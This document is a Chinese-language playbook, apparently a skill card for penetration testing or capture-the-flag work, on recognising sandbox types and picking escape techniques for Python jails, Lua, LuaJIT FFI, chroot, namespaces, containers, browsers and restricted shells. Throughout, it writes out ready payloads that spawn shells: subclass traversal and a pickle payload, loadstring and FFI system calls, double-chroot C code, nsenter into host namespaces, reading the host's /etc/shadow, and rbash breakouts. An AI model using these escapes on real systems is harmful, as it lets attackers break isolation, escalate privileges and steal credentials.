识别沙箱类型并选择对应逃逸手法（Python/Lua/sec…

当需要在 Python、Lua、seccomp、chroot、容器、浏览器或命名空间等隔离环境中突破限制获得任意代码执行或文件访问时使用。

适用场景

解决思路

1. 先识别沙箱类型：Python sandbox（受限 builtins、关键字过滤、exec/eval 可用）、Lua sandbox（无 os/io、受限 metatable）、seccomp（syscall 过滤、prctl(PR_SET_SECCOMP)）、chroot（根文件系统被改、/proc 受限）、Docker/container（namespaces、cgroups、能力削减）、浏览器 renderer（Linux 上 seccomp-bpf + namespaces）、namespace 隔离（PID/mount/network/user namespace）。
2. Python sandbox 逃逸：用子类遍历 `().__class__.__bases__[0].__subclasses__()` 找到 `os._wrap_close`，再经 `__init__.__globals__['system']` 调用；用 `__builtins__.__import__('os').system('sh')` 恢复 import；用 `getattr(getattr(__builtins__, '__imp'+'ort__'), '__call__')('os')` 绕过关键字；用 `eval(chr(95)+chr(95)+'import'+chr(95)+chr(95))` 构造字符串；用 `pickle.loads(b"cos\nsystem\n(S'sh'\ntR.")` 反序列化逃逸；构造 `types.CodeType(...)` 后 `exec()` 执行自定义字节码。
3. Lua sandbox 逃逸：若 debug 库可用，用 `debug.getinfo(1)` 泄露信息、`debug.getregistry()` 访问全局注册表、`debug.getupvalue(func, 1)` 读取闭包变量、`debug.setupvalue(func, 1, new_val)` 覆写 upvalue，并通过遍历已知函数的 upvalue 找回 os/io 引用；若 `loadstring` 可用，执行 `loadstring("os.execute('sh')")()`；若 `string.dump` 可用，dump 函数字节码、打补丁后加载修改版；若 rawset/rawget 被禁但 `__index`/`__newindex` 存在，伪造 metatable 链访问受限全局。
4. LuaJIT FFI 逃逸：`local ffi = require("ffi")`，`ffi.cdef[[ int system(const char *command); ]]`，`ffi.C.system("sh")`；若 require 被禁但 ffi 已预加载，通过 `package.loaded` 或 `debug.getregistry` 找到 ffi。
5. chroot 逃逸：若有从 chroot 外泄露的 fd，用 `fchdir(leaked_fd)` 后 `chroot(".")`；若在 chroot 内是 root，执行双重 chroot：`mkdir("x"); chroot("x"); chdir("../../../..")`；若 fd 0 是 TTY，用 `ioctl(0, TIOCSTI, &c)` 向父 shell 注入按键；若 /proc 已挂载，通过 `/proc/1/root/` 访问真实根文件系统；若有 CAP_SYS_PTRACE，ptrace 附加到 chroot 外进程；若有特权，将真实根挂载进 chroot。
6. 双重 chroot 逃逸代码：以 chroot 内 root 身份执行 `mkdir("/tmp/escape", 0755); chroot("/tmp/escape");`，然后循环 `for (int i = 0; i < 100; i++) chdir("..");`，再 `chroot(".");` 到达真实根，最后 `execl("/bin/sh", "sh", NULL);`。
7. 浏览器沙箱逃逸：先通过 V8/Blink 漏洞获得 renderer RCE，再枚举 renderer 可用的 Mojo 接口，寻找存在漏洞的接口（消息处理 UAF、参数校验整数溢出），构造恶意 Mojo 消息在 browser 进程触发漏洞，browser 进程无沙箱从而获得全系统访问；也可利用 GPU 进程（沙箱较弱）作为跳板，或直接用内核漏洞绕过所有沙箱；还可尝试跨沙箱边界的信号处理竞态。
8. namespace 逃逸：若允许非特权创建 user namespace，用 `unshare -Urm` 创建新 user + mount namespace 并在内部成为 root，进一步逃逸需内核漏洞或配置错误；若 /proc 来自宿主机（容器配置错误），用 `nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash` 进入 init 进程命名空间获得宿主访问；若可通过 /proc/1/root 看到宿主文件系统，用 `ls -la /proc/1/root/` 和 `cat /proc/1/root/etc/shadow` 读取宿主文件；若可 mount，用 `mount -t proc proc /proc` 访问宿主 /proc 条目。
9. rbash/受限 shell 逃逸：vi/vim 中用 `:!/bin/bash` 或 `:set shell=/bin/bash` 后 `:shell`；less/more 中用 `!/bin/bash`；awk 用 `awk 'BEGIN {system("/bin/bash")}'`；find 用 `find / -exec /bin/bash \;`；python/perl/ruby 用 `python -c 'import pty;pty.spawn("/bin/bash")'`；ssh 用 `ssh user@host -t /bin/bash`；环境变量用 `export PATH=/usr/bin:/bin; /bin/bash`；cp 将 `/bin/bash` 复制到允许目录；git 用 `git help config` 后在 pager 中 `!/bin/bash`；编码用 `echo /bin/bash | base64 -d | sh`。
10. 按决策树选择路径：Python sandbox 看 PYTHON_SANDBOX_ESCAPE.md（builtins 可用则直接 import，否则子类遍历/关键字过滤用 chr()/getattr() 构造，eval/exec 可用则操作 code object）；Lua sandbox 看 debug 库/FFI/loadstring/metatable 链；seccomp 看 SECCOMP_BYPASS.md（架构混淆、允许的 syscall 做 ORW 链、io_uring 绕过、ptrace 调试子进程）；chroot 看 root 身份/泄露 fd//proc/TTY；容器看特权/docker.sock/内核漏洞并参考 container-escape-techniques；浏览器看 renderer RCE 后打 Mojo IPC 或 GPU 进程或内核漏洞；rbash 找任意交互程序（vi、less、python、awk、git）。

适用边界 · 注意事项

• 未先确认沙箱类型就套用错误逃逸技术（如对 seccomp 用 pyjail 手法）会失败。
• 需要内核漏洞或特权（CAP_SYS_ADMIN、CAP_SYS_PTRACE）的逃逸路径在无相应权限时不适用。
• 浏览器沙箱逃逸需先获得 renderer RCE，未拿到 renderer 代码执行时无法直接使用 Mojo IPC 攻击。